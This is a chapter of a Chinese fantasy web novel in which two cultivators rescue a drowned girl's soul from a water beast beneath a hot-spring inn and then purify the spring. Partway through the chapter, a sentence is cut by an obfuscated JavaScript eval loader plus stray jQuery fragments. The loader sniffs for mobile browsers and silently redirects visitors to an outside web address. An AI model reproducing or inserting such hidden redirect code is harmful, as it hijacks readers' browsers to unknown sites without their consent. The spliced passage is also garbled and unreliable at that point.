文趣网 > 其他小说 > 人间借我三千愿 > 38. 第38章 泉脉重开
    白狐伏在门槛边,眼睛仍盯着桌上的半支铜簪,仿佛守得够久,高玉娘就能从那截旧物里走出来。

    虞岁晚收起卦钱,把它捞到膝上。小狐狸心神不宁,伤腿一动,细布底下又洇出血来。

    她索性拆了布条,一手按住乱蹬的后爪,另一手沿伤处缓缓抚过。一抹清光从指尖没入皮毛,先是逼出了一团森冷白气,继而断裂的筋络也以肉眼可见的速度重新接续,最后伤口收拢,恢复如初。

    白狐黑漆漆的小眼睛愣了半晌,落地试探着走了两步,忽然撒腿绕桌跑了一圈,拐弯太急,还一头撞在晏知还靴上。它仰脸同他对视,又一下子蹿回虞岁晚脚边,拿尾巴遮住脑袋。

    掌柜看得眼睛都直了:“虞掌柜有这等手段,昨日怎么没把它治好?我见它拖着后腿,还当这伤少说要养上个把月。”

    “当时敌友未明,自然要谨慎些。万一救好的是个帮凶,我岂不是白送它一身力气来咬人?”虞岁晚朝白狐伸手,小狐狸迟疑片刻,还是把爪子搭进她掌心。她捏了捏小肉垫,“如今看清了,当然想他活蹦乱跳的才好。”

    掌柜连连点头,小狐狸也用湿漉漉的鼻头碰了碰虞岁晚的手。

    晏知还此刻已把两条线在图上标地分明:“白狐常年走山路寻找玉娘,水中之物则沿暗泉来去,二者在高家旧汤院撞上,这才留下狐毛与白鳞。高玉娘生死两门皆不受,魂魄多半被压在邪物体内,若先毁妖躯,她也会跟着受损。”

    “我去找玉娘,你封住出口。”虞岁晚用铜簪压住图上一角,“它能学人声音,也能翻人记忆,待会儿无论看见谁,都别理会。”

    晏知还问:“要多久?”

    “顺利的话几息。若她已经不认得自己,那就麻烦些。”

    他把长剑横放在膝前,拇指轻轻抵开半寸剑格:“你慢慢找,我守到你出来。”

    虞岁晚听着舒坦。她办过不少难缠的事,也遇过好些热心过头的半吊子,嘴上说得漂亮,真动起手来还得她腾出一只手救人。晏知还从不抢着夸口,他肯接过去的事,大抵不用她回头收拾。

    掌柜依照吩咐,把西院几间汤屋全部腾空,住客挪到前院,又免了一夜房钱。冬月来骊山的人大多奔着温汤,平白少泡一晚,自然有人不痛快,掌柜只得让厨房多添两笼蒸糕、一锅鸡汁笋羹,亲自在堂中赔话。客人闻到饭香,抱怨少了些,几个伙计趁机搬走木盆、漆盘和放澡豆的小几,唯恐妖怪没伤着,店里的家什先碎了一地。

    虞岁晚趁乱喝了半碗热羹。鸡肉撕得细,冬笋切成薄片,汤里浮着几段葱白,入腹暖得很。晏知还从药炉旁端来一只黑陶碗,顺手把蜜渍橘皮搁在桌角。

    她闻到苦气,筷子顿在碗边:“你的呢?”

    “喝过了。”

    掌柜正抱着一摞浴巾经过,忙替他作证:“晏公子那碗送得早,一口没剩,比喝水还利落。”

    虞岁晚偏头看他:“原来你也知道这东西难喝。”

    “正因为知道,才让人给你多备了橘皮。”晏知还把药往她那边推,“再拖一阵,凉了更苦。”

    这话不中听,做的事还算周到。虞岁晚端起药碗一饮而尽,苦味直冲舌根,脸还没来得及皱,晏知还已经把橘皮递到她面前。她含进嘴里,发现他手里还剩一片,立刻伸出手:“那片也是我的。”

    晏知还停了停,老实交到她掌中。

    子时前后,西汤终于见了底。池壁积着灰白水垢,暗沟里淌着最后一层热水。封死的青砖拆去,墙下露出一道窄窄的石隙,白汽不停往外涌,哭声也混在水声里,一会儿是玉娘,一会儿成了陶妈妈,叫得白狐在原地直转。

    虞岁晚拿金线威胁他:“再乱跑,就把你送去马棚,让青骡陪你等。”

    白狐立刻坐好。青骡待它不坏,奈何表达亲近的法子太粗鲁,一鼻子拱过来,狐狸有伤时险些滚出草堆。

    晏知还先俯身进了水道。长剑贴着湿壁划过,银色符纹一寸寸亮起。虞岁晚抱着白狐跟在后面,走过十几级天然石阶,眼前陡然开阔。

    汤院地底藏着一座极大的岩洞。左侧热泉从钟乳间涌出,右侧则积着一潭冷水,两股泉在石滩前汇合,蒸得满洞白雾。水滴从高处落下,回声绕着岩壁转,听久了,真像许多人躲在暗处抽泣。

    白狐刚落地,就见冷潭中央浮起一张少女的脸。

    “小白,过来。”

    那女子发髻间缺了半支铜簪,眉目清秀,正是陶妈妈口中的高玉娘。白狐浑身绷紧,四爪在湿石上抓出浅痕,等了十七年,却没有往前一步。

    玉娘从前唤它阿白。

    潭中人等不到回应,脸皮从额心裂向两侧,皮下露出银白色细鳞。潭水随之翻卷,一条丈余长的水螭从雾里昂起头,形似长蛇,颈下生着两只短爪,腹部的大鳞里嵌满模糊人脸。

    那些脸一齐转向虞岁晚。

    “岁晚。”

    声音入耳,她眼前晃过一盏旧灯。有人坐在灯下替她梳发,指间穿过长发,叫她不要怕,也不要回头。那段记忆太久了,久到她平日不敢轻易翻动,如今让一只藏在水底的妖物学出来,反倒显得又轻又假。

    银白剑光从身侧掠过,雾中的人影立时散了。

    晏知还横剑挡在她前面:“它偷来的。”

    “我知道。”虞岁晚定了定神,袖中铜簪飞出,稳稳悬在冷潭上方,“那个人可没它的声音这么难听。”

    水螭甩尾扑来,半潭冷水掀起数尺。晏知还一剑斜挑,剑气沿鳞片缝隙切入,将妖躯带偏半丈;紧接着三道银符钉入泉水口,奔涌水势骤然一滞,岩洞深处响起沉闷雷声。

    水螭趁此吐出团团雾气,又借白雾贴地游走,长尾悄无声息地绕向虞岁晚。白狐立时扑上去咬住尾端,牙齿才碰到鳞甲,嘴边已经凝起一圈白霜。虞岁晚抬袖将它卷回,手中金线顺着铜簪散开,穿过那些哭喊的人脸,一层层探向妖腹深处。

    “阿白……”

    极轻的一声从第七枚腹鳞下传出来。

    白狐全身一颤,再次挣向前。虞岁晚这回没有拦,反手把金线另一端缠在它身上。狐狸冲到水螭腹下,死死咬住缚在玉娘魂外的黑色水索,四爪抵着石面往后拖,口鼻很快冻出血来。

    金线顺着水螭鳞甲狠嵌进去,水螭很快吃痛翻滚撞上岩壁,碎石纷纷坠落。热泉一侧崩开裂缝,滚水裹着砂石倾泻而下。晏知还跃上石台,长剑贯入岩壁,雷纹顺裂隙游开,将松动山石牢牢锁住。他落地时肩头被利爪带过,衣料裂开一线,血很快染深了半边袖口。

    虞岁晚虽看见了,手下动作却未停下。此刻分心,才是真给他添麻烦。

    她五指收紧,铜簪发出清鸣,数十道金线同时没入第七枚腹鳞。玉娘的魂已经虚弱得近乎透明,四肢全被寒气凝成的锁链缠住。虞岁晚以铜簪定住她眉心,指尖一转,金光沿寒锁烧了过去。

    “生者有归,亡者有路。所拘非汝物,还来!”

    水螭腹下猛地裂开。

    白狐拼命后退,虞岁晚手腕一转,高玉娘的魂从鳞甲间被扯了出来。晏知还长剑随即压下,三处水口的银符一齐收拢,雷光凝成极细一线,从水螭额心直贯妖丹。

    哭声戛然而止。

    丈余妖躯崩成灰黑水珠,落回潭中以前,已经被剑火烧尽。

    高玉娘跌坐在石滩上。白狐冲到她面前,临近了又急急停住,仰着头不敢碰她。少女茫然许久,才像从一场漫长噩梦中认出眼前这团白影,蹲下身,将透明的手掌覆在它头顶。

    “阿白,你怎么才长这么大。”

    白狐把脑袋往她掌心里送,喉间发出呜呜咽咽的细碎哭音。

    玉娘记得的事已不多。那年她听见亡母从西汤唤她,独自循声而来;阿白追进水道咬住她衣摆,她拼尽力气把小狐狸推回石阶,自己却沉进了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838920|211575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    潭里。后来父亲一遍遍叫她,她明明喊的大声,却全让水螭借机利用,成了引高家人赴死的饵。

    十七年已过,她早没了还阳的可能。临走之前,玉娘将半支铜簪留给白狐,又朝两人郑重行礼。魂光顺着重新安静下来的泉水散开,白狐叼住铜簪,在原地守了很久。

    水螭没了,洞中水色仍旧浑浊。多年寒毒、怨气与残碎魂念渗进整条泉脉,若不清理,往后纵然不再害人,泡久了也会伤身。

    虞岁晚挽起衣袖,踏入冷热两泉交汇处。她掌心朝下一按,密密匝匝的金纹从足边展开,沿着石缝、暗渠往四面八方铺去。污气被灵力一缕缕拔出,聚在半空化成黑雾,碰上符火便散了。

    等阵纹抵达骊山深处,灵力消耗陡然快起来。她额上沁出冷汗,唇色也淡下去,手掌却仍压着阵心。

    虞岁晚心里暗暗给自己打气:过去许多次都是这样,既然自己能做,就要做到最好,免得百年后徒增烦恼;撑到最后,回去睡上两日也就好了。

    脚下水流忽然一晃,有人从后面扶住了她。

    晏知还肩上的伤尚在淌血,手臂绕过她腰侧,另一手握剑点进阵中。银色玄光顺着金纹游走,替她截断东侧不断倒灌的寒气。

    虞岁晚缓过那阵眩晕:“你的伤还没处理。”

    “出去再说。”

    “我站得住。”

    “嗯。”他答得很快,手却没松,“我陪你站一会儿。”

    两人离得近,她能闻到他衣上湿冷的泉水气混着皂角的清香,也能感觉到扶在腰间的手很稳,没有半分逾矩。

    阵纹铺到最后一道暗渠时,晏知还问:“你从前也总这样?”

    “哪样?”

    “剩一口气,也要把事情做完。”

    虞岁晚轻哼:“我从前身边没人,总不能做一半等天上掉个帮手下来。你不也一样?”

    他沉默片刻,目光落在水中交叠的金银纹路上:“我连从前有没有人都不记得。醒来以后,确实一直是一个人。”

    “难怪。”她指尖牵着阵纹转过最后一道弯,“你照顾人像查案,斗篷、药、退路,一样一样y依序摆好,生怕漏了哪处。”

    “这样不好?”

    “挺好。”虞岁晚把半边重量交给他,“再稳些,我要收阵了。”

    晏知还手臂收紧:“好。”

    最后一道金纹沉入泉底,积年的污秽随水翻起,化作黑气尽数散去。热泉重新清澈,冷潭也露出底下银白细沙,枯黄苔痕很快泛出新绿,细小蕨芽从岩缝间舒展开来。

    一缕暖金色功德从泉心升起,绕过虞岁晚手腕,悄然钻进她体内。耗空的经脉得了滋养,她慢慢吐出一口气,仍靠着晏知还缓了片刻,直到白狐叼着铜簪来蹭她衣摆,才直起身来。

    天亮以后,掌柜领着伙计磨拳霍霍,打算从头洗刷西院。水垢铲去,朽木拆掉,封了十几年的窗扇全部支开。虞岁晚没让人堵回泉眼,只叫他们分清冷热两道水,每月按时清沟,先放空三日,等泉气稳妥再迎客。

    掌柜蹲在池边摸了摸新水,已经盘算着添置屏风、浴巾和新澡豆,嘴里还念叨西院荒了这么久,总算不用继续养耗子。

    白狐离开前去了趟马棚,把一枚野梨放在青骡的料槽边。青骡低头嗅了嗅,连果梗一并卷入口中,嚼得汁水横流,也不知尝出送别的意思没有。

    虞岁晚困得眼皮发沉,披着晏知还的外袍坐在廊下,看完这一幕,含糊评价:“它交朋友倒大方,青骡吃朋友的也挺利落。”

    晏知还在她身旁坐下,把热酥酪塞进她手里。她喝了两口,脑袋渐渐偏过去,最后抵在他肩上。

    “明日再走。”她闭着眼说。

    “好。”

    院中清泉沿新洗过的石槽缓缓流过,关中冬阳越过屋檐,照在两人脚边。晏知还坐得端正,半边肩膀一动不动,任她安安稳稳地睡了过去。